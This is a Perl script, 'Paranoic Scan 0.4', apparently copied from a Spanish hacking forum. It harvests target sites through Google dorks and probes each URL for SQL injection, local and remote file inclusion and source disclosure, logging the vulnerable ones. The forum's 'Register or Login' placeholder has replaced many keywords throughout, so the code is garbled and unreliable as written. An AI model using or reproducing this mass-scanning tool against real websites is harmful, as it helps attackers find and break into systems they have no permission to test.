#!usr/bin/perl
#Paranoic Scan 0.4
#(c)0ded by Doddy H 2010
use LWP::UserAgent;
use HTTP::Request::Common;
use URI
::Split You are not allowed to view links.
Register or
Login(uri_split
);
my $nave = LWP::UserAgent->new();
$nave->timeout(5);
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
sub head {
@@@@@ @ @@@@ @ @@ @@@ @@@ @@@ @@@@ @@@ @@@@ @ @@ @@@
@ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @ @ @@ @
@ @ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @@ @
@@@ @ @ @@@ @ @ @ @ @ @ @ @ @ @@ @ @ @ @ @ @
@ @@@@@ @ @ @@@@@ @ @ @ @ @ @ @ @ @ @@@@@ @ @ @
@ @ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @ @ @ @@
@@@ @@@ @@@@@@ @@@@ @@@@@@ @ @@@ @@@ @@@ @@@ @@@ @@@ @@@@@@ @
);
}
&menu;
sub menu {
&head;
You are not allowed to view links.
Register or
Login "[a] : Scan a File\n";You are not allowed to view links.
Register or
Login "[b] : Search in google and scan the webs\n\n";You are not allowed to view links.
Register or
Login "[option] : ";You are not allowed to view links.
Register or
Login(my $op = <STDIN>);if ($op=~/a/ig) {
You are not allowed to view links.
Register or
Login "\n[+] Wordlist : ";You are not allowed to view links.
Register or
Login(my $word = <STDIN>);@paginas = repes(savewords($word));
my $option = &men;
scan($option,@paginas);
}
elsif ($op=~/b/ig) {
You are not allowed to view links.
Register or
Login "\n[+] Dork : ";You are not allowed to view links.
Register or
Login(my $dork = <STDIN>);You are not allowed to view links.
Register or
Login "[+] Pages : ";You are not allowed to view links.
Register or
Login(my $pag = <STDIN>);my $option = &men;
@paginas = &google("www.google.com.ar",$dork,$pag);
scan($option,@paginas);
}
else {
&menu;
}
}
sub scan {
my ($option,@webs) = @_;
You are not allowed to view links.
Register or
Login "\n[Status] : Scanning\n";You are not allowed to view links.
Register or
Login "[Webs Count] : ".You are not allowed to view links.
Register or
Login(@webs)."\n\n";for(@webs) {
if ($option=~/S/ig) {
&sql($_);
}
if ($option=~/L/ig) {
&lfi($_);
}
if ($option=~/R/ig) {
&rfi($_);
}
if ($option=~/F/ig) {
&fsd($_);
}
if ($option=~/A/ig) {
&sql($_);
&lfi($_);
&rfi($_);
&fsd($_)
}
}
}
You are not allowed to view links.
Register or
Login "\n[Status] : Finish\n";&finish;
sub toma {
You are not allowed to view links.
Register or
Login $nave->request (GET
$_[0])->content;}
sub savefile {
You are not allowed to view links.
Register or
Login (SAVE
,">>logs/".$_[0]);You are not allowed to view links.
Register or
Login SAVE
$_[1]."\n";}
sub finish {
You are not allowed to view links.
Register or
Login "\n\n\n(C) Doddy Hackman 2010\n\n";<STDIN>;
}
sub google {
You are not allowed to view links.
Register or
Login "\n[Google] : $_[0]\n[Dork] : $_[1]\n[Pages] : $_[2]\n\n[+] Searching pages..\n";for ($pages=0;$pages<=$_[2];$pages=$pages+10) {
$response = toma("http://$_[0]/search?hl=&q=$_[1]&start=$pages");
while ($response=~You are not allowed to view links.
Register or
Login/<h3 class
=.*?<a href
="([^"]+).*?>(.*?)<\
/a
>/g
) { You are not allowed to view links.
Register or
Login(@founds,$1);}}
You are not allowed to view links.
Register or
Login "[+] Cleaning results\n";for(@founds) {
$t = clean($_);
}
}
sub sql {
my ($pass1,$pass2) = ("+","--");
$code1 = toma($page."-1".$pass1."union".$pass1."select".$pass1."666".$pass2);
if ($code1=~/The used SELECT statements have a different number of columns/ig) {
You are not allowed to view links.
Register or
Login "[+] SQLI : $page\a\n";savefile("sql-logs.txt",$page);
}}
sub rfi {
$code1 = toma($page."http:/www.supertangas.com/");
if ($code1=~/Los mejores TANGAS de la red/ig) { #Esto es conocimiento de verdad xDDD
You are not allowed to view links.
Register or
Login "[+] RFI : $page\a\n";savefile("rfi-logs.txt",$page);
}}
sub lfi {
$code1 = toma($page."'");
if ($code1=~/No such file or directory in <b>(.*)<\/b> on line/ig) {
You are not allowed to view links.
Register or
Login "[+] LFI : $page\a\n";savefile("lfi-logs.txt",$page);
}}
sub fsd {
my ($scheme, $auth, $path, $query, $frag) = uri_split($page);
if ($path=~/\/(.*)$/) {
my $me = $1;
$code1 = toma($page.$me);
if ($code1=~/header\((.*)Content-Disposition: attachment;/ig) {
You are not allowed to view links.
Register or
Login "[+] Full Source Discloure : $page\a\n";savefile("fpd-logs.txt",$page);
}}}
sub repes {
foreach my $palabra ( @_ ) {
next if $repety{ $palabra }++;
You are not allowed to view links.
Register or
Login @revisado,$palabra;}
}
sub savewords {
You are not allowed to view links.
Register or
Login (FILE
,$_[0]);@words = <FILE>;
for(@words) {
$t = clean($_);
}
}
sub men {
You are not allowed to view links.
Register or
Login "\n\n[+] Scan Type : \n\n";You are not allowed to view links.
Register or
Login "[S] : SQL\n";You are not allowed to view links.
Register or
Login "[L] : LFI\n";You are not allowed to view links.
Register or
Login "[R] : RFI\n";You are not allowed to view links.
Register or
Login "[F] : Full Source Discloure\n";You are not allowed to view links.
Register or
Login "[A] : All\n\n";You are not allowed to view links.
Register or
Login "\n[Option] : ";You are not allowed to view links.
Register or
Login(my $option = <STDIN>);}
sub clean {
if ($_[0] =~/\=/) {
my @sacar= You are not allowed to view links.
Register or
Login("=",$_[0]); You are not allowed to view links.
Register or
Login(@sacar[0]."=");}
}
#The End
#Contact : doddy-hackman[at]hotmail[com]
#blog : doddy-hackman.blogspot.com
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies.
.
Similar topics (5)
Septiembre 02, 2011, 09:43:36 pm